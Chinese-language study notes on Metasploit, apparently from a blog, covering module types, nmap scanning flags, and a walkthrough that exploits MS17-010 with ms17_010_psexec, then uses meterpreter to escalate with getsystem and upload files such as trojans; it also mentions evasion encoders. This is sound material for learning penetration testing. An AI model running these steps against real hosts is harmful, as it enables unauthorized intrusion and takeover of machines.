metasploit学习笔记

metasploit更新

msfconsole -v   检查版本
apt-get update
apt-get install metasploit-framework 

auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类

payloads: 攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码

post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等

encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统evasion:躲避模块,用来生成免杀payload

nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90x90…)则会因为被拦截而导致攻击失效。

在这里插入图片描述在这里插入图片描述

进入msf

msfdb init :初始化数据库
msfconsole :启动msf

db_status :查看是否成功连接数据库
workspace :当前工作区
workspace -h :帮助命令

信息收集

内网主机发现

db_nmap: nmap扫描
-PA: TCP ACK PING扫描
-PS: TCP SYN PING扫描
-PR: ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况下。因为防火墙不会禁止ARP请求。
hosts:当前工作区所有主机

端口、服务、版本探测
-T [O-5]∶默认为T3,T4表示最大TCP扫描延迟为10ms
-sS: TCP SYN扫描(不会留下痕迹 只发tcp第一次握手包,非ping)
-sA: TCP ACK扫描
-sT: TCP扫描
-A:打开操作系统探测和版本探测。

–script=vuln :检查是否具有常见漏洞

调用msf里的模块进行扫描和nmap差不多

auxiliary/scanner:
msf>use auxiliary/scanner/portscan/synmsf>set rhosts 192.168.123.129
msf>exploit

使用语法:
1、使用模块用use,找不到就按tab键或search ***
use auxiliary/scanner/portscan/synmsf

2、show options 检查需要的配置,必要的后方是yes
在这里插入图片描述3、run/exploit 进行攻击
run -j 在后台运行

攻击获取meterpreter

使用ms170-010作为例子

search ms17_010
在这里插入图片描述
先使用auxiliary进行检测目标主机是否含有漏洞
然后show options 进行配置
在这里插入图片描述set rhost ip地址

在这里插入图片描述此时可以发现检测出了漏洞
接下来使用攻击模块进行攻击

use exploit/windows/smb/ms17_010_psexec
show options
set rhosts  xxx.xxx.xx.xxx  此处也可以设置为全网段
run

在这里插入图片描述

接下来进入meterpreter后渗透模块

? 查看可使用的命令
在这里插入图片描述
命令有很多,这里就不一一赘述了

接下来可以将meterpreter放到后台
background
或者简写bg

查看后台
sessions
进入某个后台 sessions -i id

getuid :查看当前用户
getsystem:提权
在这里插入图片描述
upload /root/exp.py ->c:exp.py
文件上传
可以上传一些脚本木马一类

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值